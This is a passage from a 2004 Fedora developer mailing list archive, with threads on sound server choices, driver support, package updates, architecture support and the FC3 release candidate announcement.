<20041028192444.GF1620@devserv.devel.redhat.com> <1098992714.5054.10.camel@localhost.localdomain> <20041028200215.GC25591@devserv.devel.redhat.com> <1098996299.5054.15.camel@localhost.localdomain> <1098999938.2760.6.camel@tux.lan> <20041028220807.GA14644@devserv.devel.redhat.com> Message-ID: <1099002423.3910.0.camel@rhbw.boston.redhat.com> On Thu, 2004-10-28 at 18:08 -0400, Alan Cox wrote: > On Thu, Oct 28, 2004 at 11:45:38PM +0200, Ronald S. Bultje wrote: > > They're not. They're as fed up with arts as "we" are with esd. When I > > talked with multimedia people at DDC in Ottawa, they sounded even more > > desperate than we are to get rid of it. > > > > Which makes me wonder: Alan, why do you like arts so much? > > Its better than esd. Thats its only redeeming feature - so I certainly > don't like it or hold it up as ideal. He likes arts! He's a witch! Burn him! Burn! ;-) From LightingIsFun at gmail.com Thu Oct 28 22:55:35 2004 From: LightingIsFun at gmail.com (David Corrigan) Date: Thu, 28 Oct 2004 15:55:35 -0700 Subject: sound server In-Reply-To: <1099002423.3910.0.camel@rhbw.boston.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192444.GF1620@devserv.devel.redhat.com> <1098992714.5054.10.camel@localhost.localdomain> <20041028200215.GC25591@devserv.devel.redhat.com> <1098996299.5054.15.camel@localhost.localdomain> <1098999938.2760.6.camel@tux.lan> <20041028220807.GA14644@devserv.devel.redhat.com> <1099002423.3910.0.camel@rhbw.boston.redhat.com> Message-ID: <204752da04102815552a63c941@mail.gmail.com> Lets just hope he doesn't start liking Microsoft! With the exception of Halo, microsoft's best product to date aka it works and doesn't need security updates every few hours. David On Thu, 28 Oct 2004 18:27:03 -0400, Bryan Clark wrote: > On Thu, 2004-10-28 at 18:08 -0400, Alan Cox wrote: > > On Thu, Oct 28, 2004 at 11:45:38PM +0200, Ronald S. Bultje wrote: > > > They're not. They're as fed up with arts as "we" are with esd. When I > > > talked with multimedia people at DDC in Ottawa, they sounded even more > > > desperate than we are to get rid of it. > > > > > > Which makes me wonder: Alan, why do you like arts so much? > > > > Its better than esd. Thats its only redeeming feature - so I certainly > > don't like it or hold it up as ideal. > > He likes arts! He's a witch! Burn him! Burn! > > ;-) > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From rjune at bravegnuworld.com Thu Oct 28 23:37:12 2004 From: rjune at bravegnuworld.com (Richard June) Date: Thu, 28 Oct 2004 18:37:12 -0500 Subject: sound server In-Reply-To: <20041028213203.GA29610@devserv.devel.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <200410281527.28217.rjune@bravegnuworld.com> <20041028213203.GA29610@devserv.devel.redhat.com> Message-ID: <200410281837.16219.rjune@bravegnuworld.com> On Thursday 28 October 2004 16:32, Alan Cox wrote: > On Thu, Oct 28, 2004 at 03:27:25PM -0500, Richard June wrote: > > > For network stuff having had a further thing I'd implement esd "second > > > edition" by taking ESD and replacing all its audio side code with > > > SDL_mixer, which was written by someone who has a grasp of audio > > > processing, is portable and can mix multiple channels with fades, some > > > effect and positioning control. > > > > Oooo, I would agree with that, especially if existing esd software > > doesn't require much changes. Would MAS > > (http://www.mediaapplicationserver.net/) be a realistic possibility? > > Well the polypaudio author doesn't seem averse to the idea of using the SDL > mixer code in his codebase either. Like I said, I'm all for it. if polypaudio is network capable, and either emulate's a backend that arts uses, or provides a way to grab reads/writes to /dev/dsp it's a good thing. in regards to your statement that arts is better than esd though, not always. the "network transparency" of arts is retarded, rather than send an audio stream accross the link(compressed or not), it sends the filename to play. so in that respect, esd is infinately better. :-/ -- Public Key available Here: http://www.bravegnuworld.com/~rjune/rjune.asc -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From wrrhdev at riede.org Fri Oct 29 02:31:30 2004 From: wrrhdev at riede.org (Willem Riede) Date: Fri, 29 Oct 2004 02:31:30 +0000 Subject: /etc/sysconfig/hwconf and Onstream tape drives In-Reply-To: <1098742173l.6300l.0l@serve.riede.org> (from wrrhdev@riede.org on Mon Oct 25 18:09:33 2004) References: <1098541335l.3844l.0l@serve.riede.org> <20041025193003.GA10419@nostromo.devel.redhat.com> <1098742173l.6300l.0l@serve.riede.org> Message-ID: <1099017090l.6300l.2l@serve.riede.org> On 10/25/2004 06:09:33 PM, Willem Riede wrote: > On 10/25/2004 03:30:04 PM, Bill Nottingham wrote: > > Willem Riede (wrrhdev at riede.org) said: > > > What creates /etc/sysconfig/hwconf? > > > > kudzu Bill (or anyone that can help me), Should I create a bugzilla entry against kudzu to do the detection below to get hwconf correct? And where is the startup code that loads the st module? In spite of looking for it for hours, I have not been able to find it :-( Thanks, Willem Riede. > > > Does it drive everything else? > > > > If you're referring to udev creating device nodes, no. > > That part I've got working in my next release of osst.c which I'll be > submitting soon upstream to linux-kernel/linux-scsi. > > What I'm trying to also make work is that osst.ko gets auto-loaded at boot, > just as st.ko does today. If that doesn't happen, a FC3 system won't have > osst > device nodes, which would seriously inconvenience Onstream owners. > > Having hwconf be correct in and of itself is a nice-to-have, if it doesn't > drive anything else. > > > How does one tell whether a device uses osst vs st? > > By vendor and type returned by the device. In terms of hwconf, if "desc:" > starts with "Onstream SC", "Onstream DI", "Onstream USB", or "Onstream FW", > then the device needs the osst device driver. Note that "Onstream ADR > Series" > > is reported by a second generation drive, which should be driven by st. > > Alternatively, if "st" reports the following line to syslog: > Oct 23 08:55:18 fallguy kernel: st: The suggested driver is osst. > > Thanks, Willem Riede. From zleite at mminternet.com Fri Oct 29 02:35:52 2004 From: zleite at mminternet.com (Z) Date: Thu, 28 Oct 2004 19:35:52 -0700 Subject: warning to list In-Reply-To: <1098890444.13633.1838.camel@hades.cambridge.redhat.com> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <1098745593.3872.176.camel@baythorne.infradead.org> <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> <200410260856.24591.symbiont@berlios.de> <1098752870.30694.12.camel@stargrazer.home.awesomeplay.com> <1098776924.3872.185.camel@baythorne.infradead.org> <417EF153.1070308@mminternet.com> <1098890444.13633.1838.camel@hades.cambridge.redhat.com> Message-ID: <4181AC88.5030404@mminternet.com> An HTML attachment was scrubbed... URL: From peter.backlund at home.se Fri Oct 29 07:21:49 2004 From: peter.backlund at home.se (Peter Backlund) Date: Fri, 29 Oct 2004 09:21:49 +0200 Subject: gnome-vfs ftp icon Message-ID: <1099034510.19739.0.camel@h101n4fls309o1124.telia.com> Hello. AFAICS the gnome-vfs icon for ftp (gnome-fs-ftp.png) is still missing from the Bluecurve theme. Would it be possible to get it into FC3? I think this bug https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=120404 is the corresponding BZ entry. /Peter -- Peter Backlund From pmatilai at welho.com Fri Oct 29 09:16:03 2004 From: pmatilai at welho.com (Panu Matilainen) Date: Fri, 29 Oct 2004 12:16:03 +0300 (EEST) Subject: any chances for some last minute vte changes, or atleast something to consider In-Reply-To: References: Message-ID: On Wed, 27 Oct 2004, Jon Nettleton wrote: > We have all dealt with the good, the bad, and the ugly of > gnome-terminal/vte. Don't get me wrong, it has been my terminal of > choice as long as I have run redhat/fedora. The speed output has > always been an issue for me, but it wasn't until recently that the > tabbed redraw problem became apparent to me. I always switch my > terminal to a black background with grey fonts, so it wasn't until I > started rolling my customized fedora core 2 desktop out to my > coworkers that the multi-tab black background bug was ever a factor. > > The speed issue was addresed in the patch attached to this bugzilla, > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132770 , which I > have found fantastic. Without the mad skills of this excellent > programmer I addressed the lesser of the two evils, the tabbed black > background bug. My debugging led to a less elegant, but harmless and > effective solution with a patch attached to this bug, > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=100420 . Oh yes... me likes this a lot. In case anybody cares, current rawhide vte enhanced with the above two patches built for FC2 can be found here: http://fedora.laiskiainen.org/RPMS.patches/ http://fedora.laiskiainen.org/SRPMS.patches/ - Panu - From peter.backlund at home.se Fri Oct 29 11:34:34 2004 From: peter.backlund at home.se (Peter Backlund) Date: Fri, 29 Oct 2004 13:34:34 +0200 Subject: Status of IT8212 RADI/IDE and pwc drivers (Alan!) Message-ID: <1099049674.19739.6.camel@h101n4fls309o1124.telia.com> Hello. I'd like to know what the status of the IT8212 RAID/IDE Controller driver is with regard to the FC3 kernel. Is it possible to pick the driver from the -ac patchset and build against the FC3 kernel, or do the API differ too much? If it's not possible to build, could the driver be modified to use the old IDE API? Also, could you bring back the pwc driver please? It's gone missing from 2.6.9-1.643 again. I suppose it's marked buggy, but it works fine (for me at least). On the other hand, if it's easier to create an add-on package containing both pwc and pwcx when the pwc module is _not_ distributed with the main kernel, it's better to leave it this way. /Peter Backlund From buildsys at redhat.com Fri Oct 29 11:52:31 2004 From: buildsys at redhat.com (Build System) Date: Fri, 29 Oct 2004 07:52:31 -0400 Subject: rawhide report: 20041029 changes Message-ID: <200410291152.i9TBqV731617@porkchop.devel.redhat.com> Updated Packages: anaconda-10.1.0.2-1 ------------------- * Thu Oct 28 2004 Jeremy Katz - 10.1.0.2-1 - Bring in firefox on upgrade if mozilla/netscape were previously installed (#137244) glibc-2.3.3-74 -------------- * Wed Oct 27 2004 Jakub Jelinek 2.3.3-74 - fix header - fix globfree (#137176) - fix exiting if there are dlmopened libraries in namespaces other than main one not closed yet - export again _res_opcodes and __p_{class,type}_syms from libresolv.so that were lost in -69 gpdf-2.8.0-5 ------------ * Thu Oct 28 2004 Dan Williams 2.8.0-5 - Fix CAN-2004-0888 (xpdf integer overflows) gpm-1.20.1-66 ------------- * Thu Oct 21 2004 Adrian Havill 1.20.1-66 - avoid spawning multiple copies of inputattach, and kill process when gpm shuts down (#135776) * Wed Oct 20 2004 Bill Nottingham 1.20.1-65 - remove buildroot paths from gpm.info, fixing #135305 * Wed Oct 20 2004 Adrian Havill 1.20.1-64 - fixing multilib conflict (#135305): o remove buildsys check/conditional for gziping info pages (let rpm do it) o don't pre-byte-compile emacs code libgnome-2.8.0-2 ---------------- * Mon Oct 18 2004 - 2.8.0-2 - change default browser to firefox * Wed Sep 22 2004 Alexander Larsson - 2.8.0-1 - update to 2.8.0 * Tue Aug 31 2004 Alex Larsson 2.7.92-1 - update to 2.7.92 mkinitrd-4.1.18-2 ----------------- * Sun Oct 24 2004 Jeremy Katz - 4.1.18-2 - require cpio (#136814) nss_db-2.2-29 ------------- * Wed Oct 20 2004 Nalin Dahyabhai 2.2-29 - give makedb support for setting labels on files, and use it (#136522) openswan-2.1.5-2 ---------------- * Thu Oct 21 2004 Bill Nottingham - 2.1.5-2 - don't run by default. again. rpmdb-fedora-3-0.20041029 ------------------------- xinitrc-4.0.14-1 ---------------- * Wed Oct 20 2004 Mike A. Harris 4.0.14-1 - Fix permissions on Xaccess file (#101065) - Modified the way ssh-agent is invoked, which greatly simplified the xinitrc script, and removed the now unneeded SSH_AGENT variable (#134494) yum-2.1.11-1 ------------ * Thu Oct 28 2004 Jeremy Katz - 2.1.11-1 - update to 2.1.11 - fix config file error handling - better handling of empty lines/comments in mirror lists - improve some error messages * Sun Oct 24 2004 Jeremy Katz - 2.1.10-3.1 - make the cron job executable (#136764) From mike at navi.cx Fri Oct 29 14:42:52 2004 From: mike at navi.cx (Mike Hearn) Date: Fri, 29 Oct 2004 15:42:52 +0100 Subject: sound server Message-ID: <418256EC.1050303@navi.cx> > Do we have any comments on the sound server topic from a broader > perspective than only GNOME? > > A competing proposal I've heard is to just use ALSA directly. I've got some notes on how to get hardware accelerated/network transparent mixing sorted out with minimal effort, which unfortunately I don't have here. I could post them in a few days, hopefully. Basically: - Write an alsa-lib plugin that by default just forwards the audio to the slave device (ie, is a no-op) but when a magic environment variable is set or whatever takes the audio and writes it to a socket created somewhere with the name == pid of process, ie /tmp/audio-mike/12345 The alsa-lib configuration format allows passing environment vars as plugin parameters, ie it's all quite flexible with minimal policy hardcoded. Typically therefore you'd have the following alsalib plugin pipeline: default -> as-yet-unnamed-plugin -> [dmix] -> plughw:0,0 - Have a simple GStreamer app that monitors $MAGIC_DIRECTORY and when a new socket appears that is readable, connect to it and start downloading the audio direct from the app. You can then feed it via any GST pipeline you like; ie: fdsrc ! vorbisenc ! oggmux ! tcpsink (dunno the exact plugin names). Net result is sound-server policy is very flexible: you can have a dedicated "connect to me" style server or you can stream it via SSH or via X, or you can forward audio on a case-by-case basis. - The key point is that in the common case of no network transparency you can take advantage of dmix mixing (so instant interop with all other ALSA supporting apps and OSS apps via the alsa LD_PRELOAD wrapper), and in the case of having a sound card that doesn't suck you can use hardware accelerated mixing/resampling as ALSA supports this natively. - One issue I haven't considered is syncing with X, because I don't know anything about that. How often do people play movies over a remote X connection anyway? The main catch is that it doesn't exist, I just made it up. Somebody would have to learn ALSA plugin programming then write as-yet-unnamed-plugin. I don't have time, sorry :( The other major catch is that obviously it's not portable. To be frank I don't care about this whatsoever - IMHO audio mixing/resampling/network-transparency is *not* a desktop level problem, it's an operating system level problem. If the sound system of other operating systems don't support automatic software mixing or network transparency then too bad. However I suspect a proposal based on leveraging ALSA would go down like a ton of bricks in most portable desktop projects. There's nothing inherantly unportable about the ALSA API, but people would still object. Final catch: in Fedora Core 2 at least ALSA support still seems a bit buggy. I found running XMMS for long periods with the ALSA plugin caused a huge memory leak, and also after playing music for a while noise and corruption started leaking into the audio. Here is the ALSA dmix bug: http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=130593 thanks -mike From alan at redhat.com Fri Oct 29 15:12:17 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 29 Oct 2004 11:12:17 -0400 Subject: Status of IT8212 RADI/IDE and pwc drivers (Alan!) In-Reply-To: <1099049674.19739.6.camel@h101n4fls309o1124.telia.com> References: <1099049674.19739.6.camel@h101n4fls309o1124.telia.com> Message-ID: <20041029151217.GC30344@devserv.devel.redhat.com> On Fri, Oct 29, 2004 at 01:34:34PM +0200, Peter Backlund wrote: > I'd like to know what the status of the IT8212 RAID/IDE Controller > driver is with regard to the FC3 kernel. Is it possible to pick the > driver from the -ac patchset and build against the FC3 kernel, or do the > API differ too much? If it's not possible to build, could the driver be > modified to use the old IDE API? The -ac driver should be happy and working again in the -ac I push today From dmalcolm at redhat.com Fri Oct 29 15:58:40 2004 From: dmalcolm at redhat.com (David Malcolm) Date: Fri, 29 Oct 2004 11:58:40 -0400 Subject: rawhide report: 20041026 changes In-Reply-To: <1098961622.5788.20.camel@gibraltar.stuttgart.redhat.com> References: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> <20041026124038.GA26276@srv01.cluenet.de> <1098798496.10884.1.camel@bree.local.net> <1098800843.10884.13.camel@bree.local.net> <1098961622.5788.20.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1099065520.5181.53.camel@cassandra.boston.redhat.com> On Thu, 2004-10-28 at 13:07 +0200, Nils Philippsen wrote: > On Tue, 2004-10-26 at 10:27 -0400, Jeremy Katz wrote: > > On Tue, 2004-10-26 at 16:14 +0200, Frank Schmitt wrote: > > > Jeremy Katz writes: > > > > On Tue, 2004-10-26 at 14:40 +0200, Daniel Roesen wrote: > > > >> On Tue, Oct 26, 2004 at 07:52:44AM -0400, Build System wrote: > > > >> > Updated Packages: > > > >> > > > >> Is this post-FC3 stuff or will (parts) appear in FC3 final? > > > > > > > > rawhide is still pointed at the FC3 trunk... although that will probably > > > > change very soon > > > > > > So an update to an Evoltion bugfix release is ok, an update to a > > > KDE bugfix release two(?) weeks earlier is not. Great. > > > > The updated evolution package isn't an update to a new version. It's an > > updated build with a specific, small, targeted fix for a specific bug > > that had been filed and was on the blocker list for the release. > > > > If evolution were updated to version 2.0.3, then you could rant :) > > I think he complains (and complained earlier) about evo being updated to > 2.0.2 in the first place. The update from 2.0.1 to 2.0.2 happened on October 12th and has been in Rawhide for over two weeks; I'm not sure why it appeared in this rawhide report (I'd have to look at the code that generates them). It was a bugfix release. It didn't introduce new features, and upstream claims the update fixes 34 bugs (including at least one that was filed in the blockers for FC3 in our bugzilla, off the top of my head). The recent changes (2.0.2-2 and 2.0.2-3) were, as Jeremy says, small and targeted. > > Nils > -- > Nils Philippsen / Red Hat / nphilipp at redhat.com > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." -- B. Franklin, 1759 > PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 > From notting at redhat.com Fri Oct 29 16:06:52 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 29 Oct 2004 12:06:52 -0400 Subject: /etc/sysconfig/hwconf and Onstream tape drives In-Reply-To: <1099017090l.6300l.2l@serve.riede.org> References: <1098541335l.3844l.0l@serve.riede.org> <20041025193003.GA10419@nostromo.devel.redhat.com> <1098742173l.6300l.0l@serve.riede.org> <1099017090l.6300l.2l@serve.riede.org> Message-ID: <20041029160652.GA30597@nostromo.devel.redhat.com> Willem Riede (wrrhdev at riede.org) said: > >> kudzu > > Bill (or anyone that can help me), > > Should I create a bugzilla entry against kudzu to do the detection below to > get hwconf correct? Hm, you could, but since that info isn't really used for anything, not sure how much it would help. > And where is the startup code that loads the st module? In spite of looking > for it for hours, I have not been able to find it :-( udev, almost certainly. Bill From sopwith at redhat.com Fri Oct 29 16:29:11 2004 From: sopwith at redhat.com (Elliot Lee) Date: Fri, 29 Oct 2004 12:29:11 -0400 (EDT) Subject: sound server In-Reply-To: <20041028192029.GB19915@nostromo.devel.redhat.com> References: <1098987067.5054.4.camel@localhost.localdomain> <20041028192029.GB19915@nostromo.devel.redhat.com> Message-ID: On Thu, 28 Oct 2004, Bill Nottingham wrote: > Havoc Pennington (hp at redhat.com) said: > > Do we have any comments on the sound server topic from a broader > > perspective than only GNOME? > > > > A competing proposal I've heard is to just use ALSA directly. > > Well, you'd need to set up ALSA to use dmix first. Once you do > that, native ALSA usage could work. > > There's also jack, arts, and other mixers of that sort. Note > that mixing jack and polypaudio doesn't look like it will work > right. > > The fact that polypaudio's client API/ABI hasn't actually stablized > at an initial version is worrisome. The API doesn't currently provide many real benefits over esound. More specifically, it doesn't have the synchronization features that are needed for anything non-trivial. The basic idea is that to get realtime right, you *have to specify a timestamp with all commands and events*. This 'get_latency()' junk isn't useful - it's the same paradigm that we've already had with esd. I don't know where it currently is at, but MAS (http://www.mediaapplicationserver.net/) was supposed to have the proper API for synchronization/timing/etc, based on the ideas of the old AF server. It at least compiles & runs for me. The main drawbacks are lack of ALSA support (easy enough to fix), and use of imake (also fixable). The code seems a little cleaner than polypaudio at a brief glance. Another alternative is to use gstreamer as 'the' framework, and then create a gstreamer plugin that bridges sound to a daemon which does the actual mixing and playing. That daemon could also use gstreamer internally to perform the mixing etc. so the only really hard part would be bridging the gstreamer plugin interactions between processes. This approach should give the realtime/synchronization support needed for games and multimedia apps, but make use of all the good gstreamer work that has been done so far. It also would allow us to get rid of the sound server altogether on hardware where it isn't needed and where the user doesn't care about sound events. NMM has been mentioned in the context of a sound server, but it seems to be almost a 'networked gstreamer in C++' concept (I assume we're talking about Network-Integrated Multimedia Middleware when saying NMM...) $0.02, -- Elliot From fedora-devel at camperquake.de Fri Oct 29 18:04:34 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Fri, 29 Oct 2004 20:04:34 +0200 Subject: Proposal: make PPC a supported arch for FC4 Message-ID: <20041029200434.656568a8@nausicaa.camperquake.de> Hi. So, that is it, in short. What would need to be done to make this happen? There are some minor things I noticed during my rawhide install (resolution detection, sound card detection...), some support for laptops is missing (pbbuttons is frowned upon), but all in all I think things are looking quite well. How are the chances for it? -- I'm gonna go close my office door, 'cause my EPIDERMIS is showing! From caillon at redhat.com Fri Oct 29 18:12:35 2004 From: caillon at redhat.com (Christopher Aillon) Date: Fri, 29 Oct 2004 14:12:35 -0400 Subject: Proposal: make PPC a supported arch for FC4 In-Reply-To: <20041029200434.656568a8@nausicaa.camperquake.de> References: <20041029200434.656568a8@nausicaa.camperquake.de> Message-ID: <41828813.9060900@redhat.com> Ralf Ertzinger wrote: > Hi. > > So, that is it, in short. What would need to be done to make this happen? https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=121179 From dennis at ausil.us Fri Oct 29 01:05:19 2004 From: dennis at ausil.us (Dennis Gilmore) Date: Thu, 28 Oct 2004 20:05:19 -0500 Subject: gnupg newpg gpgme gpgme03 cryptplug isuses In-Reply-To: <41814F47.2070805@math.unl.edu> References: <200405021037.22538.dennis@ausil.us> <1085325371.3919.477.camel@bobcat.mine.nu> <41814F47.2070805@math.unl.edu> Message-ID: <200410282005.20662.dennis@ausil.us> Once upon a time Thursday 28 October 2004 2:57 pm, Rex Dieter wrote: > Ville Skytt? wrote: > > On Sun, 2004-05-02 at 14:51, Ville Skytt? wrote: > >>As long as gnupg2 (when it's time) will have "Obsoletes: newpg", I > >>believe we can find a clean solution by packaging libgcrypt1 and > >>changing gpgme and gpgme03 to require %{_bindir}/gpgsm instead of newpg. > > > > A quick followup: there are now libgcrypt1, gpgme and gpgme03 packages > > in fedora.us which have been "fixed" according to the above. > > Just a followup to an old thread... gnupg2 and gpgme have now been > submitted to fedora.us: > > gnupg2: http://bugzilla.fedora.us/show_bug.cgi?id=2179 > gpgme: http://bugzilla.fedora.us/show_bug.cgi?id=2180 > > > -- Rex FC3 will not need cryptplug for kmail as kmail now includes the necessary support. however it does need gpgme i will run some tests to see if we can drop gpgme03 Dennis -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From fedora at wir-sind-cool.org Fri Oct 29 18:31:12 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Fri, 29 Oct 2004 20:31:12 +0200 Subject: gnupg newpg gpgme gpgme03 cryptplug isuses In-Reply-To: <200410282005.20662.dennis@ausil.us> References: <200405021037.22538.dennis@ausil.us> <1085325371.3919.477.camel@bobcat.mine.nu> <41814F47.2070805@math.unl.edu> <200410282005.20662.dennis@ausil.us> Message-ID: <20041029203112.49e19125.fedora@wir-sind-cool.org> On Thu, 28 Oct 2004 20:05:19 -0500, Dennis Gilmore wrote: > FC3 will not need cryptplug for kmail as kmail now includes the necessary > support. however it does need gpgme i will run some tests to see if we can > drop gpgme03 We don't drop gpgme03 because software using the old GPGME API has not been ported to the new API yet, e.g. Sylpheed and Sylpheed-claws. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 2.20 2.33 2.02 From nutello at sweetness.com Fri Oct 29 18:30:57 2004 From: nutello at sweetness.com (Rudi Chiarito) Date: Fri, 29 Oct 2004 20:30:57 +0200 Subject: x86_64 support Was: Proposal: make PPC a supported arch for FC4 In-Reply-To: <20041029200434.656568a8@nausicaa.camperquake.de> References: <20041029200434.656568a8@nausicaa.camperquake.de> Message-ID: <20041029183057.GA548@server4.8080.it> On Fri, Oct 29, 2004 at 08:04:34PM +0200, Ralf Ertzinger wrote: > How are the chances for it? Speaking of support for architectures, I was wondering about Extras and x86_64. The fedora.us site only hosts i386 packages. Justin Forbes has a x86_64 Extras repository for FC2, but it's signed with his own key and looks pretty stale at the moment (Justin recently switched jobs). With Extras still in limbo, I am not sure what to expect. Who and where will build and sign Extras for x86_64? Red Hat? Or someone else? And what is the plan if, say, PPC becomes a supported architecture? Then there's the more practical issue of when packages for FC3 will begin to appear in Extras, regardless of the architecture. That was debated a few days ago, but I don't think any conclusion was reached. -- Rudi From pnasrat at redhat.com Fri Oct 29 18:34:34 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Fri, 29 Oct 2004 19:34:34 +0100 Subject: Proposal: make PPC a supported arch for FC4 In-Reply-To: <20041029200434.656568a8@nausicaa.camperquake.de> References: <20041029200434.656568a8@nausicaa.camperquake.de> Message-ID: <1099074874.4720.26.camel@anu.eridu> On Fri, 2004-10-29 at 20:04 +0200, Ralf Ertzinger wrote: > Hi. > > So, that is it, in short. What would need to be done to make this happen? > There are some minor things I noticed during my rawhide install (resolution > detection, sound card detection...), some support for laptops is missing > (pbbuttons is frowned upon), but all in all I think things are looking quite > well. Not exactly frowned upon, but more important wins first. Like fixing autopartitioning. > How are the chances for it? Basically depends on enough spare tuits. I'd like to get a polished FC3 tree out in the next few weeks. I'll mail for testing/feedback/bug hunting on fedora-ppc some time next week. Paul From rdieter at math.unl.edu Fri Oct 29 19:02:14 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Fri, 29 Oct 2004 14:02:14 -0500 Subject: gnupg newpg gpgme gpgme03 cryptplug isuses In-Reply-To: <200410282005.20662.dennis@ausil.us> References: <200405021037.22538.dennis@ausil.us> <1085325371.3919.477.camel@bobcat.mine.nu> <41814F47.2070805@math.unl.edu> <200410282005.20662.dennis@ausil.us> Message-ID: <418293B6.6020108@math.unl.edu> Dennis Gilmore wrote: > Rex Dieter wrote: >>Just a followup to an old thread... gnupg2 and gpgme have now been >>submitted to fedora.us: >>gnupg2: http://bugzilla.fedora.us/show_bug.cgi?id=2179 >>gpgme: http://bugzilla.fedora.us/show_bug.cgi?id=2180 > FC3 will not need cryptplug for kmail as kmail now includes the necessary > support. To be precise, kmail needs both gpgme and gnupg2 to provide what cryptplug formerly did. Ideally, kmail (kdenetwork) could be built against gpgme's shared library too. -- Rex From smooge at gmail.com Fri Oct 29 19:04:23 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Fri, 29 Oct 2004 13:04:23 -0600 Subject: Question regarding choice of python In-Reply-To: <1098988383.12515.45.camel@verve.devel.redhat.com> References: <77e74f3e04102811136f664cef@mail.gmail.com> <1098988383.12515.45.camel@verve.devel.redhat.com> Message-ID: <80d7e4090410291204202c29e2@mail.gmail.com> On Thu, 28 Oct 2004 14:33:03 -0400, Brent Fox wrote: > On Thu, 2004-10-28 at 14:13 -0400, Amitabha Roy wrote: > > I am curious as to why redhat chose python as the language to code > > the user interfaces to many of the system tools. I am assuming > > that system-config-network etc, all were written by redhat people > > and most of them were written in python (with gtk). > > > > Was there any discussion as to the benefits of python over other alternatives > > (tcl-tk, perl etc) ? > > Sure, there were discussions, but Python was a natural choice for a > number of reasons. A big one was that anaconda already existed and it > was a Python/GTK program, so there was already a lot of in-house My memory of things.. names are probably all wrong. Long long ago when coders were beginning to walk upright, there was a large discussion about Python versus TCL and Perl for writing tools and such. During the days of 4.x, many of the tools had been written by Donnie Barnes and in TCL. People did not like keeping that code up to date because it had been Donnie's first coding projects.. but most thought it was TCL at its core. Around 5.x, it was decided to rewrite the installer that Michael Fulbright(and others) had been maintaining and it was decided it too was crufty mostly because of tons of exceptions as changes were made at the last moment to fix this or that. At this point RH had hired Matt Wilson and he and Eric Troan, Michael Johnson, and some others went over what the possible alternatives were. Perl was not liked because the code was not 'elegant' to their minds, and Ruby was not at a stage they could use. Scheme and TCL were out because of other technical and asthetic reasons. Python was chosen because people liked how it worked.. and it was thought that they could make enough reusable libraries to replace all the TCL/perl/C programs that had been written. It was also chosen because everything at Red Hat has to have been written 4 days before it was thought of and they figured the time savings of a scripting language over the memory savings of a Clike language was in their favour. They were also too stubborn to give it up after the 3400th time a subroutine broke because the spacing in vi was wrong. Then lo, emacs and vim spacing were discovered and all was well.. At this point an effort -- Stephen J Smoogen. CSIRT/Linux System Administrator From pri.rhl3 at iadonisi.to Fri Oct 29 19:57:47 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Fri, 29 Oct 2004 15:57:47 -0400 Subject: NFS install and i815 graphics In-Reply-To: <200410272300.29657.russell@coker.com.au> References: <200410260059.43452.russell@coker.com.au> <200410272300.29657.russell@coker.com.au> Message-ID: <1099079868.3424.26.camel@tuxpaq> On Wed, 2004-10-27 at 23:00 +1000, Russell Coker wrote: [snip] > When it occurs the X server starts, the X cross cursor is briefly displayed > along with the mouse cursor that is normally used by Anaconda (two cursors, > but only the X cross cursor moves) and the Fedora welcome screen is displayed > with lots of what looks like static covering it (seems that it's the graphics > content from the boot loader which was still in the video memory). After > about 1 second of that the screen goes to all vertical stripes of different > colors and the system locks up solidly enough that the caps-lock key does not > change the state of the caps-lock LED. I saw the same problem. I couldn't get reliably burned CD-RWs (old ones that need replacing), so I tried an NFS/ISO install on a Compaq IPaq P3 1GHz box with an i815 integrated graphics controller. And xscreensaver seems to kill the graphics unrecoverably (X seems to crash, and there are some vertical lines on the left portion of the screen), but I can at least hit the power button and it shutdown gracefully. I'm also still seeing the refresh screen problem described in https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132267 when not using the two XaaNo* workarounds listed there. Using FC3T3 with updates. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From sopwith at redhat.com Fri Oct 29 21:03:42 2004 From: sopwith at redhat.com (Elliot Lee) Date: Fri, 29 Oct 2004 17:03:42 -0400 (EDT) Subject: FC3rc5 Message-ID: For your weekend enjoyment, please try: http://fedora.linux.duke.edu/FC3-rc/3/ http://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/ ftp://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/ rsync://sunsite.mff.cuni.cz/ftp/OS/Linux/Dist/Fedora.RC/3/ http://testing.fedora.redhat.com/tree/ (still syncing, should be ready by 8pm EDT Oct 29.) This is likely to be the last FC3 release candidate, so please give it all the loving attention you possibly can. It does have fixes for some of the more serious issues reported here - your efforts are having results. When testing FC3rc5, things that could use extra-special attention are upgrades and the kernel. Please make sure to file any showstopper bugs (data loss or corruption, major install/upgrade failures) in bugzilla and bring the bug #'s to our attention. In respond to all the queries about "why are the .iso timestamps changing", it's because I'm putting the latest RC in the same location as the older ones, so the files do change. Thanks y'all! -- Elliot From skvidal at phy.duke.edu Fri Oct 29 21:10:14 2004 